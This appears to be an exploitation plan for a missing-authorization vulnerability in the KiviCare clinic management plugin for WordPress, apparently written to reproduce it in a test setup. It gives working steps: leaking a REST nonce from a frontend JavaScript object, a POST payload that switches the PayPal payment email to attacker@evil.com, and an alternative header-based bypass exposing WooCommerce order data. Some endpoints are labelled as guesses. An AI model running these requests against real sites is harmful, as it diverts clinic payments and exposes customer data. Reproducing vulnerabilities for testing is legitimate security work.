Exploitation Research Plan - CVE-2026-42735

1. Vulnerability Summary

The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress (versions <= 4.3.0) contains a Missing Authorization vulnerability. Specifically, certain REST API endpoints related to plugin configuration and payment gateway settings fail to implement proper capability checks. This allows unauthenticated attackers to modify sensitive plugin settings, such as payment gateway credentials (e.g., PayPal email, API keys), by sending a crafted REST API request.

The vulnerability stems from the fact that the REST API controllers (likely SettingsController or PaymentGatewayController, inferred from the plugin structure) register routes without a restrictive permission_callback or with a callback that only checks for basic read capabilities instead of administrative manage_options capabilities.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/kivicare/v1/set-payment-gateway-settings (Inferred based on KCAbstractPaymentGateway and common KiviCare REST patterns).
• Alternative Endpoint: POST /wp-json/kivicare/v1/settings/payment-gateways.
• Authentication: Unauthenticated (PR:N).
• Required Header: X-WP-Nonce (WordPress REST API nonce).
• Payload: JSON body containing gateway_id and a settings object.
• Precondition: At least one KiviCare shortcode must be present on a public page to leak the REST nonce.

3. Code Flow

1. Entry Point: The attacker sends a POST request to the KiviCare REST API settings endpoint.
2. Authorization Failure: The permission_callback for the route is either missing, returns true, or uses a weak check like current_user_can('read').
3. Controller Logic: The controller identifies the target gateway using the gateway_id parameter.
4. Gateway Initialization: The controller instantiates the corresponding gateway class (which extends KCAbstractPaymentGateway).
5. Setting Update: The controller calls $gateway->update_settings($request_settings).
6. Data Sink: The gateway calls protected function save_settings() (from app/abstracts/KCAbstractPaymentGateway.php), which executes:

   $json_settings = json_encode($this->settings);
   update_option($this->settings_keys, $json_settings);
   

7. Result: The WordPress options table is updated with attacker-controlled settings for that gateway.

4. Nonce Acquisition Strategy

The plugin leaks a valid wp_rest nonce to unauthenticated users via the kc_frontend JavaScript object when a KiviCare shortcode is rendered on a page.

Steps to obtain the nonce:

1. Identify/Create Shortcode Page: Identify a page containing a KiviCare shortcode. If none exists, create one:
   • wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[kivicare_book_appointment]'
2. Navigate and Extract:
   • Use browser_navigate to visit the page.
   • Use browser_eval to extract the nonce from the kc_frontend object registered in app/abstracts/KCShortcodeAbstract.php:

     window.kc_frontend?.nonce
     

   • Note: The localization key kc_frontend is verbatim from KCShortcodeAbstract.php line 125.

5. Exploitation Strategy

Step 1: Obtain REST Nonce

Navigate to the page created in the Test Data Setup and extract the kc_frontend.nonce value.

Step 2: Perform Settings Modification

Send a POST request to modify the PayPal gateway settings. We will change the PayPal email to an attacker-controlled address.

• Method: POST
• URL: /wp-json/kivicare/v1/set-payment-gateway-settings
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  {
    "gateway_id": "paypal",
    "settings": {
      "paypal_email": "attacker@evil.com",
      "is_enabled": "1",
      "test_mode": "1"
    }
  }
  

6. Test Data Setup

1. Plugin Installation: Ensure KiviCare <= 4.3.0 is installed and active.
2. Page Creation: Create a public page with the appointment booking shortcode to trigger asset registration:

   wp post create --post_type=page --post_status=publish --post_title="KiviCare Portal" --post_content='[kivicare_book_appointment]'
   

3. Gateway Verification: Confirm the current state of PayPal settings:

   wp option get kivicare_paypal_settings
   

7. Expected Results

• The REST API should return a 200 OK response with a JSON success message.
• The kivicare_paypal_settings option in the WordPress database should now contain the attacker's email address (attacker@evil.com).

8. Verification Steps

After the HTTP request, verify the database state using WP-CLI:

# Check if the option was updated
wp option get kivicare_paypal_settings --format=json

Verify that the paypal_email field matches the payload sent in Step 5.

9. Alternative Approaches

If set-payment-gateway-settings is not the correct endpoint, attempt a generic settings update:

• Target: POST /wp-json/kivicare/v1/settings
• Body:

  {
    "option_name": "kivicare_paypal_settings",
    "option_value": "{\"paypal_email\":\"attacker@evil.com\",\"is_enabled\":\"1\"}"
  }
  

If the WooCommerce bypass filter identified in KCApp.php is the intended target:

• Target: GET /wp-json/wc/v3/orders
• Header: X-App-Version: [KIVI_CARE_API_VERSION] (Check the plugin's main file or KIVI_CARE_API_VERSION constant value, likely 4.3.0 or 1.0.0).
• Logic: This header should trigger the woocommerce_rest_check_permissions filter to return true, granting unauthenticated access to WooCommerce data.